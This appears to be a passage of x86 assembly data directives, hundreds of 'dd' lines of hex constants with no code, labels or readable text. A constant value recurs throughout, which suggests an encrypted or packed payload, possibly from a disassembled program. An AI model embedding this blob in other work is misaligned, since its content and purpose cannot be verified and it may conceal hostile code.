		dd 79B61AABh, 0B8321567h, 938A4406h, 4801679Ch,	0B453D9ECh
		dd 4AB61A8Dh, 0DB321564h, 113AFC07h, 0F97F1566h, 0CC13C7F6h
		dd 0E1CE5A07h, 1132068Fh, 0CF879C66h, 0E09EF5C2h, 9931C5D1h
		dd 22D3B7B1h, 2D51F20Eh, 4433AF34h, 0D0331566h,	5B90FECh
		dd 8CF69442h, 24321566h, 25DA7593h, 85321566h, 0D675FA81h
		dd 0AC6D1A3Dh, 22321575h, 3DC13D26h, 0A77E4B18h, 0C27E126Ah
		dd 0EBDEEFC4h, 484CE9C5h, 3C627407h, 57C695EBh,	0A23EE1E6h
		dd 0FDB2ABA2h, 8E6E367h
		dd 0B0B25582h, 7AD13596h, 11321B8Fh, 1AA19466h,	9968ABADh
		dd 0D40695FFh, 717762B1h, 853EBEDh, 0C13D959Dh,	0DDCDEA06h
		dd 1132078Fh, 0B0FE7A66h, 421B4123h, 308D3F11h,	0EA0F76h
		dd 0DE2F117Eh, 6F06AC37h, 6E1B390Fh, 4A6B1142h,	0A306D6E7h
		dd 0C23D390Fh, 22321561h, 0D3B97306h, 0DF534C35h, 443213D9h
		dd 28F19466h, 10521529h, 82D9949Dh, 1B521529h, 2232048Fh
		dd 76FA3366h, 0E948EBB4h, 82CD83EFh, 0F0C6F7ADh, 1DDB3DFBh
		dd 0F3321566h, 0F62DE934h, 0F36BD2D4h, 92BDB604h, 8CBB118Ah
		dd 4430AD42h, 0D2331566h, 0E46A0D65h, 88328B8Fh, 4437FC66h
		dd 8ACC1566h, 0EEC8A105h, 94B91410h, 40F69642h,	449CA606h
		dd 6C75E6E7h, 73C99607h, 44ED9169h, 30DB1566h, 0A2321566h
		dd 380970ACh, 46C0C22Dh, 7DD8A48Ah, 12EA996Eh, 8CB34325h
		dd 0DC401A42h, 9A624E5Dh, 2AAA6769h, 0E86AD64Fh, 20D99400h
		dd 223BFCE1h, 30211566h, 630FFF19h, 251BFD8Ah, 225BC10Eh
		dd 35269C66h, 883214DCh, 47C01466h, 0CA524F7Ch,	1132156Ch
		dd 59BCFB4Eh, 173C0BAFh, 0AA89A75Eh, 4B26E55Ch,	8CDE9407h
		dd 0CD321566h, 278F314Ah, 10321566h, 61CB488Dh,	0BBCDEB52h
		dd 22321E8Fh, 159D2866h, 16B34F6Ch, 0D3B390E2h,	236CA369h
		dd 0D28D1A06h, 0BA5FDEE7h, 0C7533F33h, 0A63D3B8Dh, 0EECDEB6Ah
		dd 88321D8Fh, 3A2BA066h, 9E395BC7h, 1115FCD9h, 2521566h
		dd 9E851AA0h, 234C9507h, 0F8B71A98h, 70CDEA9Bh,	0DBF0AB06h
		dd 2BDB2EE2h, 93321566h, 0B88C147Ah, 0FBED8C24h, 0DEA4FC07h
		dd 1EDBEA99h, 85321566h, 0DDA9FCBFh, 0E247A640h, 0E6BF4C3Dh
		dd 115A07CEh, 0CD321531h, 77CB3152h, 0D4B3F0EFh, 88321562h
		dd 4436F8E7h, 0EB51566h, 1DBB4942h, 80B51A42h, 24321566h
		dd 1951D2E7h, 0E4533DBCh, 8836F9E7h, 58BB1566h,	3AB81A42h
		dd 0F8321566h, 88321575h, 4E7FE73Eh, 0F89F2A6Fh, 0D3BB007Fh
		dd 8975DDE0h, 0AD7032D1h, 22321572h, 7C97F83Eh,	25F20299h
		dd 0ED1D3A63h, 976D180Eh, 68313BDBh, 886C840Eh,	600E9C66h
		dd 223D9D69h, 1BDB1566h, 3F321566h, 619B971Dh, 0A9DADB19h
		dd 71F22471h, 8834FD06h, 0A15A1566h, 1C8E6924h,	70E19E38h
		dd 7424AE00h, 0CC3DB907h, 22321567h, 1D517D9Fh,	84BB1566h
		dd 0CCF39D42h, 0A8524CADh, 705275AAh, 3FC6CDE7h, 25532F76h
		dd 0A2F0A037h, 42549883h, 751278D1h, 89B24E00h,	2ADFD55Dh
		dd 31C2D0E6h, 8FDB4C8Dh, 6E321566h, 4472B9DAh, 0EAB25B25h
		dd 28B61A16h, 0AD321563h, 22321572h, 3D5CE178h,	60A3134Dh
		dd 765C1732h, 0E409765Bh, 0F7ADEC19h, 8832138Fh, 4DEF5F66h
		dd 1E0BE5AEh, 60B61A69h, 70321566h, 0C03DFC5Ah,	22321E4Ah
		dd 1ED92993h, 883D6AE2h, 0A70EEC66h, 21159169h,	973D1566h
		dd 88321567h, 4BD0299Eh, 222309E2h, 25CDE066h, 4CB34A42h
		dd 44321562h, 606EA93h,	15F6963Dh, 88339B69h, 0BBCE1566h
		dd 0A36B3152h, 113211A2h, 3547566h, 86B373A4h, 0DD539201h
		dd 906C3152h, 883211A2h, 443AFC66h, 0C37F1566h,	2F9F4E42h
		dd 7DF12B93h, 0AFF090A1h, 22341286h, 9D3D1566h,	88321562h
		dd 25F09E06h, 2244500Eh, 353E9C66h, 883215DFh, 0CEC31466h
		dd 70CE4C7Fh, 0C7C493D0h, 838D3E6h, 0AAF2D0A0h,	26DCD56Eh
		dd 3122FBE6h, 9ADB4F95h, 0EC321566h, 509102FEh,	5A0B7881h
		dd 0FABA69A8h, 97587708h, 0A2C99543h, 0EE6E9069h, 7452EA99h
		dd 0FC62E007h, 0DDCDEA99h, 0E46AD367h, 9A0F90EDh, 4B5212B5h
		dd 0A953C4D1h, 0C21D50F3h, 89BC1A61h, 0B1321566h, 22313F0Eh
		dd 35069C66h, 801621E7h, 1F2AA96Fh, 2B3AE6E7h, 9D3D0DDAh
		dd 88321570h, 44229469h, 29DB1566h, 55321566h, 30C0300Ch
		dd 0C05D108Bh, 98605C62h, 11321560h, 9CB9C667h,	40F69442h
		dd 0CB321566h, 1132156Dh, 681058FCh, 0F6D4E61Ch, 701A18B5h
		dd 113217DCh, 8BC01466h, 60269E7Ch, 2236D1E7h, 913D1566h
		dd 88321571h, 4432078Fh, 0A5736966h, 0F99D043Fh, 0B556AE34h
		dd 147486D3h, 195BF06Fh, 32B01ABEh, 87321566h, 443214E0h
		dd 0F809EC66h, 0EFAE9369h, 73DEA99h, 44321568h,	22321C8Fh
		dd 5E638B66h, 47089069h, 0AFB364EAh, 13982932h,	19DED6E7h
		dd 731B7F54h, 4CDEFEE7h, 0E1B37F54h, 20982932h,	8832058Fh
		dd 115C566h, 5A5F411Fh,	0A491C5F1h, 0C6936B7Fh,	428B446Dh
		dd 0A3321566h, 224908A5h, 9F93C70h, 7749088Dh, 0CB524C70h
		dd 11321576h, 860D01AAh, 5B7F0C84h, 335C86FBh, 0E1227D30h
		dd 0EE53DDEDh, 56B01ACBh, 0CB321566h, 1132156Bh, 1BE14D43h
		dd 2D7AD422h, 0DEF3D0Ch, 0E4997311h, 4B03CD57h,	0C03DCD57h
		dd 2232156Eh, 0EF851A06h, 0E9C3A269h, 48BD1ACDh, 2D321566h
		dd 113213E8h, 88B01A66h, 0B8321566h, 2236A833h,	0FFB31566h
		dd 0B70D2FE3h, 82B3FB67h, 1D0D2FE3h, 1CB11A3Bh,	61321566h
		dd 4432156Eh, 6A4E1B17h, 7B43D23Ch, 0E81629EFh,	6987C5EDh
		dd 56BBEC07h, 98CA1942h, 5B3530D3h, 0C4607561h,	0DB6B208Bh
		dd 350E9E07h, 9D59C31h,	443211A1h, 26F59466h, 96321566h
		dd 876E315Ah, 443219E3h, 24B71A66h, 1E321566h, 883215ECh
		dd 45B41A66h, 0DB321566h, 4A162199h, 6136D1E5h,	44321577h
		dd 10503370h, 0B673890Fh, 85BC47CBh, 0F60176D3h, 606EA18h
		dd 15F6963Fh, 0D18A7306h, 0CF53E01Eh, 0AB613152h, 15F19485h
		dd 9321566h, 443211A5h,	62E9266h, 1138FC3Ah, 8FCF1566h
		dd 68135BB1h, 6900D142h, 90D79C33h, 883211A3h, 40F79666h
		dd 0A91639E1h, 1BDB3142h, 96321566h, 50652ED4h,	0B28F6FEh
		dd 0CF9CFC3Ah, 85DBEA99h, 55321566h, 60D817DEh,	57AEADFDh
		dd 0E912DC0Dh, 86B7D29Ah, 2035F58Dh, 71321566h,	8832128Fh
		dd 0A737BC66h, 99B7D357h, 1121FC06h, 129E1566h,	0BB151FCDh
		dd 0B800107h, 9ADDEE02h, 1E0867BAh, 0BD53744Ch,	2201B80Eh
		dd 35069C66h, 591621E7h, 1F05B323h, 67E3E6E7h, 913D22C0h
		dd 8832156Dh, 4432138Fh, 0BB322866h, 1EF1A2EBh,	0E3D1BD0h
		dd 4432156Ah, 22349869h, 9E3D1566h, 88321566h, 4BB2ECE6h
		dd 223264E5h, 1126FC66h, 30671566h, 9A7B4560h, 0E88A9C9Dh
		dd 79ECF11Ah, 6091808Eh, 0AFB31560h, 31E17C34h,	7236D6E7h
		dd 43332961h, 2736FEE7h, 0E1B32961h, 2E17C34h, 89BE1A06h
		dd 0BC321566h, 4395DEE6h, 1133AA31h, 73331566h,	0AD627539h
		dd 22321576h, 667359DEh, 0C01C7519h, 0C994684Ah, 0DD8BE3E8h
		dd 1137FC39h, 2EA91566h, 25EC1B25h, 2232688Fh, 0FDB1E066h
		dd 0AC2E9C62h, 9D1AEAD5h, 0A954753Dh, 7028A09Ch, 7F33FCE5h
		dd 0C73D75B7h, 22321560h, 4E95D2E7h, 60B24614h,	0FB6574B2h
		dd 6E7A2AAFh, 7CBDD2E7h, 67F34F4Dh, 0BBDD9660h,	0EC7BE2E7h
		dd 0E81317FFh, 883FFC39h, 89AC1566h, 879155E9h,	0FBC12B65h
		dd 9F9A38Fh, 5000A78Dh,	17D99434h, 384C9B32h, 0BDF194ADh
		dd 0C54C9B32h, 3600A7A5h, 16B71A34h, 87321566h,	443214E1h
		dd 0A7B9E066h, 16E1075Bh, 8BBB1A06h, 0C4321566h, 9A54A085h
		dd 9A53BA60h, 5B1D50F3h, 51B21A61h, 0CB321566h,	11321576h
		dd 4CAE438Bh, 5B16B00Ch, 5A0824Ch, 0ED5AF791h, 836BA8E5h
		dd 4B3312B5h, 2236BDE2h, 2B91A66h, 61321566h, 44321568h
		dd 11B15C89h, 87E2D134h, 0BDB2B526h, 870BAD50h,	26B59769h
		dd 983D1566h, 8832156Ch
		dd 4432108Fh, 0DC563366h, 9D3DC472h, 88321567h,	4BE12C9Fh
		dd 0DDC914E4h, 1123FC99h, 4E5A1566h, 6391138h, 0C0ACA2D4h
		dd 0FD6A2D2Fh, 87A7B441h, 44321EEDh, 0A9547566h, 11B91AADh
		dd 0E9321566h, 4436298Fh, 223EFC66h, 0D64C1566h, 0D2B82273h
		dd 984A5967h, 0AC3D9ACFh, 11321561h, 88339469h,	83C71566h
		dd 0C2D9D7E3h, 11321761h, 53D7566h, 44321564h, 0E3B27406h
		dd 943D7483h, 88321569h, 44321F8Fh, 610CC666h, 97FCA040h
		dd 0DA12622Ah, 601E9430h, 314C40C3h, 0B4F0943Ch, 1216B33h
		dd 4BCE4FB5h, 32DB1BD0h, 0F2321566h, 1924F429h,	0D806A3FEh
		dd 243F0C44h, 91017CF5h, 0B3D959Fh, 4432153Bh, 22339069h
		dd 41CB1566h, 2E3A6BDEh, 50582078h, 27722F61h, 0A3F40FBh
		dd 896AD667h, 0F6D994ADh, 420DBB17h, 11319F69h,	41B21566h
		dd 0D6E89412h, 4360771Eh, 1133AC37h, 43331566h,	50BD1A3Fh
		dd 0CB321566h, 11321569h, 1282914Dh, 0E0B2BC51h, 6990445Dh
		dd 0F8DE083Fh, 88321506h, 0EF82459Fh, 7736DD98h, 0F86AD44Eh
		dd 88321560h, 0F805A277h, 0A57B234Dh, 96E5E29Fh, 0DA65E09Fh
		dd 70812DCh, 5AF09451h,	98D4BE67h, 67F34FB1h, 64F59464h
		dd 3CA9114h, 1EDB4A9Fh,	29321566h, 0B8F43354h, 0FD990055h
		dd 60CFB2F7h, 37659EC6h, 2D2315D8h, 0B6DEE4Fh, 0AFF194ADh
		dd 745B0466h, 560F90EDh, 0AF3D12B5h, 11321567h,	0CDA79E93h
		dd 4B35C649h, 223214E0h, 0ACB1E066h, 8FE11E3Fh,	9EB61A67h
		dd 42321564h, 0F9FCAA69h, 8832156Ah, 0C88C3048h, 71221450h
		dd 659EC53Ch, 88329069h, 256C1566h, 0A03DCD5Dh,	11321572h
		dd 87E12C9Ah, 0BBCB50E0h, 0A9547599h, 11BF1AA7h, 0E9321566h
		dd 2961AC37h, 0D3B35ED2h, 619A478Ch, 0E11DE4E7h, 0ADB309B6h
		dd 2D36EBEh, 0CB8FFCE7h, 461B138Ch, 51BD1A3Fh, 42321566h
		dd 1132198Fh, 1AD02466h, 9AD7322h, 64FF4AB3h, 7068471Ch
		dd 3DA334h, 60269E96h, 2236D1E7h, 0A8521566h, 0DE5ACD73h
		dd 44319869h, 9D3D1566h, 1EDB74BEh, 0C1321566h,	4248F0B6h
		dd 52992D64h, 8F19B156h, 719814E8h, 4432AD36h, 0D2331566h
		dd 15B91DECh, 8CF69642h, 0F563E09Eh, 0DDF39586h, 9171FCE6h
		dd 49CC9087h, 0C41BDCE6h, 0EABA388Fh, 1ADB753Fh, 2B321566h
		dd 0DFAA4965h, 3131BD78h, 0E9539040h, 8C7A235h,	83B226A1h
		dd 8ED59567h, 9131FAA6h, 71121FA1h, 56DA753Dh, 0A8321566h
		dd 24F7646Eh, 406314BFh, 5FDD5E4Eh, 4F9EE247h, 56DD9406h
		dd 0D31874D2h, 0BCFA1D07h, 2226FCCCh, 0E7D41566h, 198A43C7h
		dd 0BD2D1C4Ch, 142A1699h, 23808A03h, 63B3FAFFh,	78A06114h
		dd 2D1EFEE7h, 0EA1B0E12h, 871ED6E7h, 87B30E12h,	1EA06114h
		dd 1126FC06h, 0D9501566h, 1236EECDh, 0F4164343h, 53303532h
		dd 6E3C6EA5h, 0B7B30501h, 73FA2948h, 155A4207h,	0D7321566h
		dd 0AD6DEE4Fh, 2232156Eh, 0B1E5A9Eh, 1F62C11Ah,	8703CD57h
		dd 0A03DCD57h, 1132156Fh, 32C29E06h, 2A9439CCh,	2BDBBE07h
		dd 0C2321566h, 0A9537709h, 0DF2D0E9Bh, 2230AF34h, 0FFB31566h
		dd 0CF813502h, 82B3C367h, 65813502h, 0A4BBEC3Ch, 8FE11243h
		dd 4FF9506h, 4E2DAD00h,	1CBC1A07h, 61321566h, 4432156Eh
		dd 0AC5D3AA3h, 9429C6E6h, 836B90A1h, 443312B5h,	0DACB1566h
		dd 90D19C35h, 883211A5h, 408F4066h, 23321566h, 0DB5488Dh
		dd 98DB4942h, 22321566h, 0C2DC17B2h, 0CF3D5770h, 0E6CD3BC7h
		dd 0CF63A9A3h, 0AB61317Ah, 15F19485h, 0B321566h, 58B511A5h
		dd 0A33D4942h, 11321575h, 83DBE906h, 1D321566h,	59161464h
		dd 0E75EB69Fh, 35308F9h, 0CD62316Ah, 22361086h,	15371566h
		dd 0F321566h, 0AD6E3162h, 22321569h, 3733E101h,	699D554Dh
		dd 0E32AEF90h, 0CBA4D4ACh, 11321575h, 2E9709E0h, 5FC53343h
		dd 0C58D308Fh, 0ACC51DF6h, 0DDB6D40Eh, 81B34832h, 22321562h
		dd 9636D0E5h, 616E314Ah, 44321576h, 3EA07F3Dh, 9B581697h
		dd 0BD366579h, 986506E4h, 223A9E69h, 903D1566h,	88321564h
		dd 10627406h, 2236103Eh, 0D1B11566h, 0AC369262h, 11DBE03Ah
		dd 2DCDEABEh, 113211EAh, 0D2607566h, 48CD4307h,	6069E42h
		dd 0E836D1E5h, 88CA235h, 0F2604489h, 78C53D48h,	0FEB2C290h
		dd 0D3CA9DB1h, 443E9F69h, 0AA3D1566h, 11321560h, 88329869h
		dd 0AD981566h, 22321575h, 0FFA361EEh, 0CD117B93h, 0EDF88A0Bh
		dd 5B7AFDBh, 47840A46h,	6F1621E7h, 1C17CB34h, 3766AA31h
		dd 0F6F3383Ah, 8ADDD465h, 93F3FAE7h, 0DA03E1BFh, 1139FC39h
		dd 470A1566h, 75B4E87Ch, 0ABFC1BD5h, 66E43873h,	773702A0h
		dd 6D286935h, 71CD389Eh, 0C7370F1Ah, 0E825D311h, 0FE54C6ECh
		dd 0DB53BCA1h, 0AB8A4530h, 0AD684715h, 0DB9224Fh, 0F7A5D2Eh
		dd 59302647h, 0A16AD3EFh, 0EFCA4B96h, 0C7BB4093h, 234FAF34h
		dd 52C53315h, 0B337FFA7h, 53F094B4h, 1034D900h,	4DB14FB3h
		dd 601E9262h, 0CA52E93Ah, 11321572h, 96876396h,	0AEB600A4h
		dd 15AD8552h, 6AB9FF2h,	75003BCCh, 1FEAA269h, 8061C5E7h
		dd 9A537F73h, 163317Ah,	40F39487h, 0A1321566h, 1DB511A7h
		dd 87524942h, 443213E2h, 0B9C49466h, 907AA441h,	0AD6A1ABDh
		dd 70CD7403h, 0E6B14C42h, 2BD1A62h, 61321566h, 44321568h
		dd 4A11F649h, 0AC5D21D1h, 54DC9336h, 70B97021h,	0C2BB4542h
		dd 11321163h, 88361066h, 40B51566h, 73C74942h, 0AB60F4EFh
		dd 0E69D3A11h, 70BDFE7h, 0D0B30BA7h, 30930783h,	0BD31D7E7h
		dd 0A6F3307Dh, 1ED89460h, 102879C1h, 49B14FB7h,	603E9262h
		dd 2223FC3Ah, 6D871566h, 8D5EFD3Fh, 0AEC370EEh,	0D9A28579h
		dd 0F809A52Dh, 77CDCC80h, 256C4606h, 0C9F090A1h, 11371286h
		dd 0DEC71566h, 541621E7h, 7972FC31h, 266CAB30h,	5EC51AD6h
		dd 82B3C391h, 130B0AD4h, 0F86CE657h, 88321574h,	6B76B432h
		dd 7CE09252h, 0F01A7B1Eh, 0AB2C25Fh, 17657DD6h,	884BD5DDh
		dd 17D1D41Bh, 8952FEE7h, 0AFE30897h, 957EFEE7h,	0CEBB3330h
		dd 0D7C9143Dh, 45B81A9Eh, 0D7321566h, 1136F9E7h, 8CBB1566h
		dd 4432AD42h, 0D2331566h, 716A0D65h, 88321E8Fh,	10E3C666h
		dd 4D6EDD23h, 0C13B2093h, 0DD13D3E7h, 0CF531068h, 0F12028E3h
		dd 113EFC61h, 5CAD1566h, 5126C753h, 9683DB00h, 84B98B26h
		dd 8FE13A23h, 44239D69h, 0AC3D1566h, 1132156Dh,	8832138Fh
		dd 94CC1D66h, 719A0F26h, 0EECDEADDh, 0D3EC1499h, 44229C69h
		dd 29DB1566h, 0CD321566h, 0C5BDF39h, 0B3CBF2A8h, 9FB10492h
		dd 16E11F7Fh, 7FB61A67h, 4B321560h, 223214E6h, 0C909EC66h
		dd 88389769h, 7FCB1566h, 4FB41ABCh, 0E9321567h,	8F17A0EFh
		dd 0C43D12B5h, 2232156Bh, 11BA1A06h, 0EE321566h, 9AF3F6E7h
		dd 0E0AF9E07h, 7135F58Dh, 88379669h, 0C5541566h, 4374A480h
		dd 1D1679E7h, 0B07775CBh, 48164967h, 429FAE35h,	4D332D23h
		dd 61690542h, 44321563h, 56A3EF9Fh, 17BEFC2Eh, 0DA521566h
		dd 4FEBD2E7h, 0CA6D50F0h, 11321561h, 0AF575B95h, 0AD26DE26h
		dd 22321563h, 0E70B9BE0h, 3534B64h, 0CD63315Ah,	26F39487h
		dd 92321566h, 84B511A7h, 0CD3D4942h, 2232156Dh,	1132138Fh
		dd 984F4B66h, 83828599h, 0F1380CE3h, 11321461h,	94B9E066h
		dd 0A5BB4442h, 2236D4E7h, 0D0B31566h, 88321562h, 181619E1h
		dd 0BF3FAF06h, 19DA6E47h, 0A7321566h, 1DB05E3Bh, 9CBB40E0h
		dd 29C985E9h, 7D52743Ch
		dd 4432198Fh, 751A0166h, 0B27C1C7Dh, 7C0A607Dh,	48B974F6h
		dd 0C0BB4742h, 1136D7E7h, 4AB11566h, 60269262h,	223DFC3Ah
		dd 0C4961566h, 4F99A846h, 99DBD69Eh, 0A9A69300h, 3506EA65h
		dd 8CF69638h, 4432188Fh, 3934D066h, 8F55A1E8h, 8086EC74h
		dd 0CD621A2Dh, 22361086h, 0D1B11566h, 0AC369262h, 241631EDh
		dd 0CBCDA269h, 11321575h, 0E9B09644h, 222156A7h, 54B2DE0Ah
		dd 5D26FEE3h, 0E90AA7FBh, 0BBE6528Fh, 223CFC99h, 7F051566h
		dd 9971CAABh, 3C127FB7h, 436DE36h, 1A6BA8E5h, 873312B5h
		dd 443770E2h, 2237FC66h, 0EF7B1566h, 0A362C641h, 972028FBh
		dd 0A23D7561h, 11321560h, 88329E69h, 49DA1566h,	70321566h
		dd 6C8984EDh, 0A27C8B0Dh, 0F3578B56h, 31A008DFh, 9A534A13h
		dd 5B2934EBh, 4B527561h, 9D53CBD1h, 348FD380h, 71DB9407h
		dd 0C5702D02h, 0FF64E8A7h, 90EB1456h, 5564E88Fh, 0BDF39456h
		dd 42702D02h, 85D89400h, 7CE49413h, 25552E6Eh, 1A27AF34h
		dd 0C01B4A67h, 9CB3C3Ch, 450A00A7h, 0A53D7539h,	1132156Dh
		dd 8832138Fh, 9A3B1E66h, 0CACAA65Dh, 11321577h,	9C4AC142h
		dd 0C5C903DDh, 0CCB35F4Bh, 0EC9F5D83h, 8835FD69h, 0ADB1566h
		dd 0FC5C2325h, 706C4A14h, 8836F9E7h, 40BB1566h,	2237AD42h
		dd 0D01B1566h, 3F61EC3Eh, 0CFCA9D8Fh, 0E6B1317Ah, 0A9547562h
		dd 99DB19DDh, 0EC321566h, 36B2AC87h, 0A36870A5h, 3A34BFD9h
		dd 0F96FD4D5h, 72CEBF07h, 35369E37h, 0D136D1E5h, 4B52BE9Fh
		dd 223213E3h, 11B71A66h, 61321566h, 44321575h, 2E0AC8D5h
		dd 0DB7F2738h, 481EC819h, 79F650CEh, 430EAB33h,	113E9B69h
		dd 13D1566h, 44321560h,	22329969h, 0FDB11566h, 0AC269C62h
		dd 86B3F7EFh, 22321562h, 9636D7E5h, 616E3172h, 44321563h
		dd 6877FB47h, 352E9ECFh, 8DD29C36h, 44321562h, 0A536D5E5h
		dd 0E96E3162h, 88321B8Fh, 7F888666h, 9C2AEE79h,	2B987E6Fh
		dd 7792DAF8h, 0C56B3152h, 223211A2h, 113AFC66h,	0BDA51566h
		dd 0A20D6955h, 16CDA9A0h, 0D5B34B42h, 88321562h, 0CD657406h
		dd 26F59481h, 92321566h, 0B40111A1h, 600E2442h,	7E162955h
		dd 113B9169h, 0E8521566h, 8316AB07h, 0CB5322CBh, 0EECDC0FCh
		dd 88321A8Fh, 6F75E766h, 0BACB3B75h, 55FECEE8h,	71C8848Eh
		dd 0AFF090A1h, 22301286h, 993D1566h, 8832156Ch,	4432108Fh
		dd 0E9A9C666h, 98626F87h, 3F19C96h, 80B33162h, 22321562h
		dd 1F841A93h, 51887306h, 25CDA0E5h, 2DB2ECE6h, 11326EE5h
		dd 883DFC66h, 37E01566h, 6F9986EEh, 6DE9CBCFh, 0E3816961h
		dd 55B21A62h, 2D321566h, 11321EE3h, 8834FC66h, 2AA1566h
		dd 4E0BE139h, 64D0AB30h, 56C57E05h, 0B33AF3A7h,	0BCD494B0h
		dd 904F933Bh, 9233D088h, 1AC13C98h, 0E1B3DE67h,	73D82ABFh
		dd 5EB2ED06h, 1461749Dh, 0B1724D3Dh, 11339169h,	61CA1566h
		dd 44321568h, 444B5256h, 8CC5FD9Ch, 0CBD0DD5Dh,	0C0DB8C8Ch
		dd 0DE321566h, 39CDA536h, 0AC369EA7h, 4436D1E7h, 25DB1566h
		dd 0B1321566h, 39E22044h, 0F25A5A60h, 0AB32156Dh, 118A3162h
		dd 0A1321566h, 1CF39CAEh, 22249869h, 0F8521566h, 8832156Bh
		dd 271783h, 0DF9C1B35h,	0EE02A414h, 0E9D99F96h,	638F4035h
		dd 9965661Eh, 46416DBEh, 0A96FFE57h, 4DDB4EBFh,	11321566h
		dd 2763723Bh, 0A035ADDAh, 0D8EFEE7h, 0E91B0DACh, 588EAB30h
		dd 7B330DACh, 4437FC38h, 0FDB91566h, 9AC8EED7h,	5B2028E3h
		dd 0C5617561h, 4A34B186h, 0F8524D54h, 88321563h, 0B2501766h
		dd 2CF494A3h, 7010FDFDh, 0CDA79E07h, 4B35C649h,	22320BE2h
		dd 90547566h, 6174F7B6h, 44321574h, 44F12AD9h, 0B5BFA1FAh
		dd 44CFCDD0h, 330A2BC0h, 0CB5302FAh, 0EECDEFBDh, 0C5F19406h
		dd 225D9383h, 431B04DDh, 11259769h, 9ADB1566h, 25321566h
		dd 0CE2144DCh, 3F582A36h, 3DB3A694h, 0C35C44A9h, 0E0B7D2DAh
		dd 1335F58Dh, 0E8321566h, 4432078Fh, 51241666h,	35C99E6Ah
		dd 25F05383h, 22F12AD9h, 92BFA1FAh, 98627492h, 0D0694596h
		dd 4A841A9Fh, 2232108Fh, 0C6283C66h, 71B22B8Dh,	3AB11AE6h
		dd 2D321566h, 113214E8h, 3567E066h, 1A17B2Dh, 2943F8E7h
		dd 0C4C567EFh, 65E3F0B7h, 7A22F8E7h, 0C933EB59h, 90F9143Bh
		dd 3E6D008Dh, 0FC62E048h, 39A51FDh, 0B9768F53h,	0D0F11447h
		dd 44389369h, 0A3521566h, 23004E85h, 0E98CA10Ah, 4432A98Fh
		dd 9A527566h, 5D3A244Ch, 0E9C5A269h, 4432198Eh,	918D8466h
		dd 44D892DAh, 0C1E01DE3h, 443FFC2Eh, 0D5AA1566h, 0C944A82Bh
		dd 3BA346DBh, 1DB13288h, 0B8824507h, 0F1F2DD98h, 8C711962h
		dd 26DB954Ah, 0E3B2D44Eh, 1ADB4D04h, 54321566h,	0CDB12A19h
		dd 0A9507CD6h, 115A0667h, 0A1321566h, 48B9316Ah, 26F69642h
		dd 0AF64429Eh, 9ED16C8Ch, 0C5ECE220h, 3F94D90h,	4FC59CD5h
		dd 0FC96FAE7h, 83B33106h, 0E8113D30h, 0F86DEC47h, 8832156Ah
		dd 0B80C1762h, 0A2265ADh, 1F528A45h, 0E983AA31h, 0BF335C84h
		dd 0A3F93C39h, 0F353A48Dh, 883DFC2Fh, 5EA41566h, 0A32404C8h
		dd 182D8C64h, 36DE149Ch, 79B79E13h, 4235C674h, 11349D69h
		dd 43D1566h, 44321566h,	577E76DFh, 84B97435h, 8FE13A23h
		dd 46BA1A06h, 42321566h, 1134FD07h, 1121566h, 51F6C801h
		dd 7AE49E00h, 488F9607h, 8935C66Dh, 0B2899169h,	19CAEA99h
		dd 37B01ABEh, 61321566h, 44321563h, 40FC0C03h, 1EE12C6Ch
		dd 77DF2CE0h, 443DFC99h, 77541566h, 0E5D4C80Fh,	2071FDD0h
		dd 93EB16A8h, 238946C6h, 38321566h, 8EDB4EB8h, 0BA321566h
		dd 0CA409FB9h, 0EE5AED59h, 132156Ah, 4B6B3152h,	223202E5h
		dd 1120FC66h, 0D3021566h, 576A708Fh, 3B6DD443h,	0DF1E76C6h
		dd 0CEC1CFB9h, 0C2DD4E7h, 0E3B3369Ah, 25EA68E2h, 61B3EC4Fh
		dd 70EA68E2h, 6A2DFCE7h, 14DB369Ah, 0B1321566h,	299256C6h
		dd 278F409Eh, 90321566h, 817BDE8Fh, 0C5DB3C70h,	2B7BDEA7h
		dd 993D4870h, 8832156Ah, 44349569h, 0AE3D1566h,	11321566h
		dd 3B6143D6h, 1FEA1D38h, 88CE9E62h, 113A9C69h, 8521566h
		dd 0F33D888Bh, 0EA0374A1h, 0D903D457h, 8832058Fh, 0D1F90A66h
		dd 0F8039A42h, 7A0208F3h, 805F3165h, 443FFCECh,	0C8321566h
		dd 7D5E94BEh, 0F41EACFh, 0EFC76D0Dh, 22239B69h,	903D1566h
		dd 8832156Dh, 4432138Fh, 0B8D45E66h, 0F8AA1C6Bh, 77CDC440h
		dd 44269669h, 44521566h, 0F870D2DFh, 8832156Fh,	2D924A34h
		dd 0D74C1014h, 0A8637418h, 88321566h, 6A82FCE7h, 0D333159Ah
		dd 3F82D4E7h, 89B8159Ah, 52B31A3Fh, 2D321566h, 113205E5h
		dd 8839FC66h, 0F1681566h, 0B5D82C2Ch, 8F6CD534h, 87DA29ADh
		dd 443250E2h, 25B11A66h, 71321566h, 354DFEDh, 445A74A4h
		dd 0A9321566h, 0D5B33162h, 88321562h, 44249069h, 0A93D1566h
		dd 11321576h, 88321E8Fh, 4E461E66h, 0EC24C14Ch,	88408007h
		dd 8833618Fh, 0C5C77566h, 0D9C08280h, 9860746Ah, 8CF09484h
		dd 0C5321566h, 2232118Ch, 35269266h, 0AC2E9C3Ah, 443A9B69h
		dd 0A33D1566h, 11321564h, 0DECA7406h, 67F7AB30h, 56035665h
		dd 4A6C1142h, 0ABF7E6E7h, 4B525665h, 7353C5D9h,	1133A833h
		dd 61BB1566h, 47C3143Bh, 25DB4C7Fh, 58321566h, 0F8ED91CEh
		dd 1363D922h, 2474F8D9h, 57C0AC62h, 711B1160h, 1DF91439h
		dd 22339769h, 42CA1566h, 5BC429D5h, 0C49FA136h,	0C112AAA2h
		dd 0B9C1953Eh, 8769CDEEh
		dd 443214E6h, 0DE98E966h, 4888D6E7h, 731B5A42h,	200AAC37h
		dd 0F3C566FEh, 0E0B3FCB7h, 0D2A278FAh, 2F7FCE7h, 0E91BD819h
		dd 113AFC3Fh, 0E7661566h, 8D171E3Bh, 4A67844Ch,	11321562h
		dd 0D5D93C3Bh, 0B4B97306h, 13EA2407h, 1EEA24A5h, 883214E1h
		dd 0AD99ED66h, 22321568h, 0E840A014h, 0E51BF832h, 0E976D5Dh
		dd 16CD5CEFh, 0D5B14E42h, 60527562h, 44321569h,	3E591E3Dh
		dd 0AE834EFEh, 2F2F7775h, 1B4C0BDFh, 4353DEEDh,	1136F9E7h
		dd 0A4BB1566h, 4437A842h, 0CC331566h, 14BD1A3Bh, 0E8321566h
		dd 25F9A269h, 832C9BDEh, 96884773h, 7F3E8C5Fh, 42D8D4BCh
		dd 9935D7E7h, 0C1035800h, 8ED2D43Ch, 0AA13F353h, 24DAD477h
